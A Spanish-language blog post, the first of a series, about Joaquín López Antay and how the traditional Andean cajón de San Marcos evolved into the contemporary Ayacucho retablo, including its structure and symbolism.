Retablos Ayacuchanos (Primera Parte)

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En esta ocasión quisiera hablar acerca de un hombre que marcó el arte de los años 70’s en nuestra capital. No solo por su creatividad, sino también por su logro de expandir y dar a conocer el arte popular andino. Con su originalidad y talento Joaquín López Antay, ayacuchano de nacimiento,  fue un destacado artesano peruano que utilizó y remodeló el cajón de Sanmarkos para convertirlo en los hoy conocidos: Retablos Ayacuchanos. Su conexión con José Sabogal, Alicia Bustamante y José María Arguedas contribuyeron significativamente en sus obras de arte popular.

 Para explicar un poco sobre la estructura de los Retablos Sanmarquinos (cajones con escenas costumbristas que se realizaban en la primera mitad del siglo XX), tendríamos que verlo desde la visión de la población andina. Para ello el documento “Cajón de San Marcos” de la artista Alicia Seade-Delboy, nos explica detalladamente la función que desempeñaban estos cajones. Aquí se da a entender las dos divisiones paralelas que tienen estos cajones con sus respectivas figuras:

  • El piso superior es alusivo a las divinidades protectoras de los distintos animales, representadas por San Marcos, San Juan Bautista y San Lucas.
  • El cóndor, que es la representación del Dios Wamani, el espíritu de la montaña y está situado en el centro del las dos divisiones.
  • El piso inferior está representado diversas historias. A simple vista sería un conjunto de personas y animales pero en realidad cada pieza representa una escena distinta que consiste en la protección de los santos sobre el rebaño de un pastor.

La llegada de los retablos Sanmarquinos a la capital se hizo casi en su última época:

“Cuando los peruanos capitalinos descubrieron el cajón de San Marcos, en los años treinta, ya estaba en proceso de extinción. No estaban hechos para durar una eternidad, y hoy son casi imposibles de encontrar fuera de algunos museos especializados y pocas colecciones privadas.” – Nos dice una parte del texto de Alicia Seade-Delboy y si pues, hasta hoy en día es poco probable encontrar estos cajones de Sanmarkos.

Pero esta “desaparición” hizo que Don Joaquín gracias al talento heredado de su abuela, quien le enseñó todo acerca de las confecciones de retablos, le diera una nueva imagen a estos objetos. Y es así como le devolvió la vida a los retablos Sanmarkos con los Retablos Ayacuchanos contemporáneos. Estos nuevos retablos representan nuevas costumbres y rituales, ahora ya no hay una visión mágico-religiosa como los de Sanmarkos si no que representará hechos del ámbito social.

Don Joaquín comenzó desde pequeño  a fabricar sanmarkos para los campesinos, arrieros, ganaderos, curanderos, etc., de Huamanga sin recibir dinero a cambio (solo compensaciones por el trabajo realizado). Luego de la década del cuarenta, donde Alicia Bustamante lo anima a introducir otras imágenes y otros contextos sociales a los retablos, surge una alteración del canon donde nacieron los nuevos Retablos ayacuchanos. Tuvo que esperar 30 años después, hasta los años 70’s que Don Joaquín obtuvo el Premio Nacional de Cultura.

A pesar de saber las consecuencias que le traería esta premiación a Don Joaquín, sabía también que él ya era un artista popular andino, un integrador social y cultural. Cabe resaltar también que antes de esto no había una relación occidental de producción y consumo con los artistas andinos. Es más,  hasta después de esta premiación es donde todos comenzaron a tomar importancia a la formas de vida de las personas andinas, pero hasta ese momento nadie toma interés sobre la vida que de los artistas populares.

Este es solo el inicio, en la segunda parte hablaré sobre el testimonio de vida del mismo Joaquín López Antay, basada en un libro titulado “Don Joaquín, testimonio de un artista popular” de Mario Razzeto.

Foto: http://e.blogs.elcomercio.pe/huellasdigitales/LOPEZ%20ANTAY%20JOAQUIN005.jpg

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